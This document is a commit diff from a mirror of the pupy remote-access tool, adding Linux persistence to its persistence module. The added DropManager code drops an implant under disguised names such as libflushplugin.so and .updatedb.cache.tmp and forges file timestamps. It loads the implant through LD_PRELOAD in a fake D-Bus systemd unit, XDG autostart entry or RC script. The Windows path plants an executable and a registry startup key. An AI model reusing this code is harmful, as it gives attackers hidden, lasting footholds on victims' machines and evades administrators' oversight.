mirror of https://github.com/n1nj4sec/pupy.git
Start to implement persistence for Linux
This commit is contained in:
parent
a1cfce2d08
commit
17728cedf6
|
@ -17,14 +17,17 @@ def has_proc_migrated(client, pid):
|
|||
return c
|
||||
return None
|
||||
|
||||
def get_payload(module):
|
||||
def get_payload(module, compressed=True):
|
||||
if module.client.is_proc_arch_64_bits():
|
||||
module.info('Generate pupyx64.so payload')
|
||||
dllbuf = pupygen.get_edit_pupyx64_so(module.client.get_conf())
|
||||
else:
|
||||
module.info('Generate pupyx64.so payload')
|
||||
module.info('Generate pupyx86.so payload')
|
||||
dllbuf = pupygen.get_edit_pupyx86_so(module.client.get_conf())
|
||||
|
||||
if not compressed:
|
||||
return dllbuf
|
||||
|
||||
dllgzbuf = cStringIO.StringIO()
|
||||
gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf)
|
||||
gzf.write(dllbuf)
|
||||
|
|
|
@ -1,36 +1,54 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
# -*- coding: utf-8 -*-
|
||||
# --------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# --------------------------------------------------------------
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.PupyCompleter import *
|
||||
from modules.lib.linux.migrate import get_payload
|
||||
import random
|
||||
import pupygen
|
||||
import os.path
|
||||
import stat
|
||||
import string
|
||||
|
||||
__class_name__="PersistenceModule"
|
||||
|
||||
@config(cat="manage", compat="windows")
|
||||
@config(cat="manage", compat=['linux', 'windows'])
|
||||
class PersistenceModule(PupyModule):
|
||||
""" Enables persistence via registry keys """
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
|
||||
self.arg_parser.add_argument('-e','--exe', help='Use an alternative file and set persistency', completer=path_completer)
|
||||
self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method')
|
||||
|
||||
def run(self, args):
|
||||
if self.client.is_windows():
|
||||
self.windows(args)
|
||||
else:
|
||||
self.linux(args)
|
||||
|
||||
def linux(self, args):
|
||||
self.client.load_package('persistence')
|
||||
manager = self.client.conn.modules['persistence'].DropManager()
|
||||
self.info('Available methods: {}'.format(manager.methods))
|
||||
payload = get_payload(self, compressed=False)
|
||||
drop_path, conf_path = manager.add_library(payload)
|
||||
if drop_path and conf_path:
|
||||
self.success('Dropped: {} Config: {}'.format(drop_path, conf_path))
|
||||
else:
|
||||
self.error('Couldn\'t make service persistent.')
|
||||
|
||||
def windows(self, args):
|
||||
exebuff=b""
|
||||
if args.exe:
|
||||
with open(args.exe,'rb') as f:
|
||||
|
@ -46,32 +64,26 @@ class PersistenceModule(PupyModule):
|
|||
exebuff=pupygen.get_edit_pupyx64_exe(self.client.get_conf())
|
||||
else:
|
||||
exebuff=pupygen.get_edit_pupyx86_exe(self.client.get_conf())
|
||||
if args.method=="registry":
|
||||
self.client.load_package("pupwinutils.persistence")
|
||||
|
||||
self.client.load_package("pupwinutils.persistence")
|
||||
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
|
||||
self.info("uploading to %s ..."%remote_path)
|
||||
#uploading
|
||||
rf=self.client.conn.builtin.open(remote_path, "wb")
|
||||
chunk_size=16000
|
||||
pos=0
|
||||
while True:
|
||||
buf=exebuff[pos:pos+chunk_size]
|
||||
if not buf:
|
||||
break
|
||||
rf.write(buf)
|
||||
pos+=chunk_size
|
||||
rf.close()
|
||||
self.success("upload successful")
|
||||
|
||||
#adding persistency
|
||||
self.info("adding to registry ...")
|
||||
self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
|
||||
self.info("registry key added")
|
||||
|
||||
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
|
||||
self.info("uploading to %s ..."%remote_path)
|
||||
#uploading
|
||||
rf=self.client.conn.builtin.open(remote_path, "wb")
|
||||
chunk_size=16000
|
||||
pos=0
|
||||
while True:
|
||||
buf=exebuff[pos:pos+chunk_size]
|
||||
if not buf:
|
||||
break
|
||||
rf.write(buf)
|
||||
pos+=chunk_size
|
||||
rf.close()
|
||||
self.success("upload successful")
|
||||
|
||||
#adding persistency
|
||||
self.info("adding to registry ...")
|
||||
self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
|
||||
self.info("registry key added")
|
||||
|
||||
self.success("persistence added !")
|
||||
else:
|
||||
self.error("method not implemented")
|
||||
|
||||
self.success("persistence added !")
|
||||
|
|
|
@ -1,36 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
import os
|
||||
|
||||
def add(path, launcher, launcher_args):
|
||||
if os.path.isfile("/etc/init.d/rc.local"):
|
||||
if path in open("/etc/init.d/rc.local").read():
|
||||
return
|
||||
else:
|
||||
with open("/etc/init.d/rc.local", "a") as local:
|
||||
local.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &')
|
||||
os.utime("/etc/init.d/rc.local",(1330712292,1330712292))
|
||||
elif os.path.isfile("/etc/rc"):
|
||||
if path in open("/etc/rc").read():
|
||||
return
|
||||
else:
|
||||
os.system("head -n-1 /etc/rc > /etc/rc2 && rm -f /etc/rc && mv /etc/rc2 /etc/rc")
|
||||
with open("/etc/rc", "a") as rc:
|
||||
rc.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n')
|
||||
rc.write("exit 0")
|
||||
os.utime("/etc/rc",(1330712292,1330712292))
|
||||
elif os.path.isfile("/etc/rc.d/rc.local"):
|
||||
if path in open("/etc/rc.d/rc.local").read():
|
||||
return
|
||||
else:
|
||||
with open("/etc/rc.d/rc.local", "a") as rc2:
|
||||
rc2.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &')
|
||||
os.system("chmod +x /etc/rc.d/rc.local")
|
||||
os.utime("/etc/rc.d/rc.local",(1330712292,1330712292))
|
||||
elif os.path.isfile("/etc/init.d/dbus"):
|
||||
if path in open("/etc/init.d/dbus").read():
|
||||
return
|
||||
else:
|
||||
with open("/etc/init.d/dbus", "a") as dbus:
|
||||
cron.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n')
|
||||
os.utime("/etc/init.d/dbus",(1330712292,1330712292))
|
||||
|
|
@ -0,0 +1,351 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import random
|
||||
import stat
|
||||
|
||||
class DropManager(object):
|
||||
def __init__(self):
|
||||
self._is_systemd = False
|
||||
self._systemd_error = None
|
||||
self._is_xdg = False
|
||||
self._xdg_error = None
|
||||
self._uid = os.getuid()
|
||||
self._user = self._uid != 0
|
||||
self._home = os.path.expanduser('~')
|
||||
self._devnull = open(os.devnull, 'r')
|
||||
self._rc = []
|
||||
self._rc_error = None
|
||||
|
||||
self._check_xdg()
|
||||
self._check_rc()
|
||||
self._check_systemd()
|
||||
|
||||
def _find_executable(self, name):
|
||||
for path in [
|
||||
'/bin',
|
||||
'/sbin',
|
||||
'/usr/bin',
|
||||
'/usr/sbin',
|
||||
'/usr/local/bin',
|
||||
'/usr/local/sbin',
|
||||
'/usr/libexec',
|
||||
'/usr/lib',
|
||||
'/usr'
|
||||
]:
|
||||
for root, dirs, files in os.walk(path):
|
||||
for file in files:
|
||||
if file == name:
|
||||
return os.path.join(root, file)
|
||||
|
||||
|
||||
def _check_xdg(self):
|
||||
try:
|
||||
self._is_xdg = ( subprocess.check_call(
|
||||
['xdg-open', '--version'],
|
||||
stdout=self._devnull,
|
||||
stderr=self._devnull
|
||||
) == 0 )
|
||||
|
||||
self._is_xdg = True
|
||||
except CalledProcessError as e:
|
||||
self._is_xdg = False
|
||||
self._xdg_error = str(e)
|
||||
|
||||
def _check_systemd_reval(self, args):
|
||||
penv = {
|
||||
'stdout': self._devnull,
|
||||
'stderr': self._devnull,
|
||||
}
|
||||
|
||||
if not os.getenv('DBUS_SESSION_BUS_ADDRESS') and self._user:
|
||||
penv.update({
|
||||
'env': {
|
||||
'DBUS_SESSION_BUS_ADDRESS':
|
||||
'unix:path=/var/run/user/{}/dbus/user_bus_socket'.format(self._uid)
|
||||
},
|
||||
})
|
||||
|
||||
try:
|
||||
cmd = ['systemctl']
|
||||
if self._user:
|
||||
cmd.append('--user')
|
||||
|
||||
cmd = cmd + args
|
||||
|
||||
return ( subprocess.check_call(cmd, **penv) == 0 )
|
||||
|
||||
except subprocess.CalledProcessError:
|
||||
return None
|
||||
|
||||
def _check_systemd(self):
|
||||
if self._user:
|
||||
systemd_socket = '/run/user/{}/systemd/private'.format(self._uid)
|
||||
else:
|
||||
systemd_socket = '/run/systemd/private'
|
||||
|
||||
try:
|
||||
if not os.path.exists(systemd_socket) and stat.S_ISSOCK(os.stat(systemd_socket).st_mode):
|
||||
self._systemd_error = 'No systemd socket found'
|
||||
return
|
||||
except OSError as e:
|
||||
self._systemd_error = str(e)
|
||||
return
|
||||
|
||||
self._is_systemd = self._check_systemd_reval([])
|
||||
if not self._is_systemd:
|
||||
self._systemd_error = 'Systemd is not available or not working properly'
|
||||
|
||||
def _check_systemd_unit(self, unit):
|
||||
return self._check_systemd_reval(['is-enabled', unit])
|
||||
|
||||
def _check_rc(self):
|
||||
self._rc = [
|
||||
rc for rc in [
|
||||
'/etc/init.d/rc.local',
|
||||
'/etc/rc',
|
||||
'/etc/rc.local',
|
||||
'/etc/init.d/dbus'
|
||||
] if os.access(rc, os.W_OK)
|
||||
]
|
||||
if len(self._rc) == 0:
|
||||
self._rc_error = 'No writable known RC scripts found'
|
||||
|
||||
@property
|
||||
def methods(self):
|
||||
return {
|
||||
'xdg': self._is_xdg or self._xdg_error,
|
||||
'systemd': self._is_systemd or self._systemd_error,
|
||||
'rc': len(self._rc) > 0 or self._rc_error,
|
||||
'user': self._user
|
||||
}
|
||||
|
||||
def _find_systemd_system_path(self):
|
||||
for d in [ '/lib/systemd/system', '/usr/lib/systemd/system', '/etc/systemd/system' ]:
|
||||
if os.path.exists(d):
|
||||
return os.path.dirname(d)
|
||||
|
||||
def _get_systemd_unit_path(self, system=True):
|
||||
if self._user:
|
||||
path = os.path.join(self._home, '.config/systemd/user')
|
||||
else:
|
||||
path = os.path.join(self._find_systemd_system_path(), 'system' if system else 'user')
|
||||
|
||||
return path
|
||||
|
||||
def _add_systemd_add_to_unit(self, unit, key, value, section='Service', system=True, confname='distlocal.conf'):
|
||||
|
||||
confname = confname or ''.join([
|
||||
chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
|
||||
]) + '.conf'
|
||||
|
||||
unit = os.path.join(self._get_systemd_unit_path(system), unit+'.d', confname)
|
||||
|
||||
if not os.path.isdir(os.path.dirname(unit)):
|
||||
os.makedirs(os.path.dirname(unit))
|
||||
|
||||
with open(unit, 'w') as funit:
|
||||
funit.write(
|
||||
'[{}]\n'
|
||||
'{}={}\n'.format(section, key, value)
|
||||
)
|
||||
|
||||
return unit
|
||||
|
||||
def _add_loadable_systemd_unit(self, unit, executable, description, service_type='forking'):
|
||||
confdir = self._get_systemd_unit_path()
|
||||
base_wants = os.path.join(confdir, 'default.target.wants')
|
||||
|
||||
base_wants_unit = os.path.join(base_wants, unit)
|
||||
|
||||
unit = os.path.join(confdir, unit)
|
||||
if not os.path.exists(confdir):
|
||||
os.makedirs(confdir)
|
||||
|
||||
if not os.path.exists(base_wants):
|
||||
os.makedirs(base_wants)
|
||||
|
||||
with open(unit, 'w') as funit:
|
||||
funit.write(
|
||||
'[Unit]\n'
|
||||
'Description={}\n\n'
|
||||
'[Service]\n'
|
||||
'Type={}\n'
|
||||
'ExecStart={}\n'.format(
|
||||
description,
|
||||
service_type,
|
||||
executable
|
||||
)
|
||||
)
|
||||
|
||||
if os.path.exists(base_wants_unit):
|
||||
os.unlink(base_wants_unit)
|
||||
|
||||
os.symlink(unit, base_wants_unit)
|
||||
|
||||
|
||||
def _drop_file(self, payload):
|
||||
rand = ''.join([
|
||||
chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
|
||||
])
|
||||
|
||||
user_targets = [
|
||||
'%h/.local/lib/%r.so.1', '%h/.local/bin/%r',
|
||||
'%h/.cache/mozilla/firefox/libflushplugin.so',
|
||||
'%h/.mozilla/plugins/libflushplugin.so',
|
||||
]
|
||||
|
||||
system_targets = [
|
||||
'/lib/lib%r.so.1',
|
||||
'/usr/lib/lib%r.so.1',
|
||||
'/var/lib/.updatedb.cache.tmp.%r'
|
||||
]
|
||||
|
||||
targets = [
|
||||
target.replace(
|
||||
'%h', self._home
|
||||
).replace(
|
||||
'%r', rand
|
||||
) for target in ( user_targets if self._user else system_targets )
|
||||
]
|
||||
|
||||
shstat = os.stat('/bin/sh')
|
||||
|
||||
for target in targets:
|
||||
dropdir = os.path.dirname(target)
|
||||
if os.path.isdir(dropdir):
|
||||
try:
|
||||
with open(target, 'w') as droppie:
|
||||
droppie.write(payload)
|
||||
|
||||
os.utime(target, (shstat.st_atime, shstat.st_ctime))
|
||||
return target
|
||||
|
||||
except Exception as e:
|
||||
continue
|
||||
|
||||
for target in targets:
|
||||
dropdir = os.path.dirname(target)
|
||||
try:
|
||||
os.makedirs(dropdir)
|
||||
with open(target, 'w') as droppie:
|
||||
droppie.write(payload)
|
||||
|
||||
os.utime(target, (shstat.st_atime, shstat.st_ctime))
|
||||
return target
|
||||
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
def _is_path_in_file(self, filepath, path):
|
||||
if os.path.isfile(filepath):
|
||||
with open(filepath, 'r') as file:
|
||||
return 'path' in filepath
|
||||
return False
|
||||
|
||||
def _add_to_rc(self, path):
|
||||
for rc in self._rc:
|
||||
if self._is_path_in_file(rc, path):
|
||||
return
|
||||
|
||||
rcstat = os.stat(rc)
|
||||
|
||||
with open(rc, 'a') as rcfile:
|
||||
rcfile.write(path + '& 2>/dev/null 1>/dev/null')
|
||||
|
||||
os.utime(rc, (rcstat.st_atime, rcstat.st_ctime))
|
||||
return rc
|
||||
|
||||
def _add_to_xdg(self, path, confname='dbus'):
|
||||
confname = confname or ''.join([
|
||||
chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
|
||||
])
|
||||
|
||||
if self._user:
|
||||
xdg = os.getenv('XDG_CONFIG_HOME') or os.path.join(
|
||||
self._home, '.config/autostart', confname+'.desktop')
|
||||
else:
|
||||
xdg = os.getenv('XDG_CONFIG_DIRS') or os.path.join(
|
||||
'/etc/xdg/autostart', confname+'.desktop')
|
||||
|
||||
if not os.path.exists(os.path.dirname(xdg)):
|
||||
os.makedirs(os.path.dirname(xdg))
|
||||
|
||||
with open(xdg, 'w') as fxdg:
|
||||
fxdg.write(
|
||||
'[Desktop Entry]\n'
|
||||
'Name=DBus\n'
|
||||
'GenericName=D-Bus messaging system\n'
|
||||
'Exec=/bin/sh -c "{}"\n'
|
||||
'Terminal=false\n'
|
||||
'Type=Application\n'
|
||||
'Categories=System\n'
|
||||
'StartupNotify=false\n'.format(path)
|
||||
)
|
||||
|
||||
return xdg
|
||||
|
||||
def add_library(self, payload, name=None, system=None):
|
||||
if not any([
|
||||
self._is_systemd, self._is_xdg, self._rc
|
||||
]):
|
||||
return None, None
|
||||
|
||||
dbus_daemon = self._find_executable('dbus-daemon')
|
||||
if not dbus_daemon:
|
||||
return None, None
|
||||
|
||||
path = self._drop_file(payload)
|
||||
if self._is_systemd:
|
||||
if not self._check_systemd_unit('dbus.service'):
|
||||
self._add_loadable_systemd_unit(
|
||||
'dbus.service',
|
||||
'{} --session'.format(dbus_daemon),
|
||||
'D-Bus session daemon',
|
||||
)
|
||||
|
||||
return path, self._add_systemd_add_to_unit(
|
||||
'dbus.service',
|
||||
'Environment',
|
||||
'LD_PRELOAD={}'.format(path),
|
||||
section='Service',
|
||||
confname=name
|
||||
)
|
||||
elif self._is_xdg:
|
||||
return path, self._add_to_xdg(
|
||||
'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)
|
||||
)
|
||||
elif self._rc:
|
||||
return path, self._add_to_rc(
|
||||
'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)
|
||||
)
|
||||
|
||||
def add_binary(self, payload, name=None, system=None):
|
||||
if not any([
|
||||
self._is_systemd, self._is_xdg, self._rc
|
||||
]):
|
||||
return None, None
|
||||
|
||||
path = self._drop_file(payload)
|
||||
if not path:
|
||||
return None, None
|
||||
|
||||
os.chmod(path, 0111)
|
||||
|
||||
if self._is_systemd:
|
||||
return path, self._add_systemd_add_to_unit(
|
||||
'dbus.service',
|
||||
'ExecStartPre',
|
||||
'-{}'.format(path),
|
||||
section='Service',
|
||||
confname=name
|
||||
)
|
||||
elif self._is_xdg:
|
||||
return path, self._add_to_xdg(
|
||||
'{} & 2>/dev/null 1>/dev/null'.format(path)
|
||||
)
|
||||
elif self._rc:
|
||||
return path, self._add_to_rc(
|
||||
'{} & 2>/dev/null 1>/dev/null'.format(path)
|
||||
)
|
Loading…
Reference in New Issue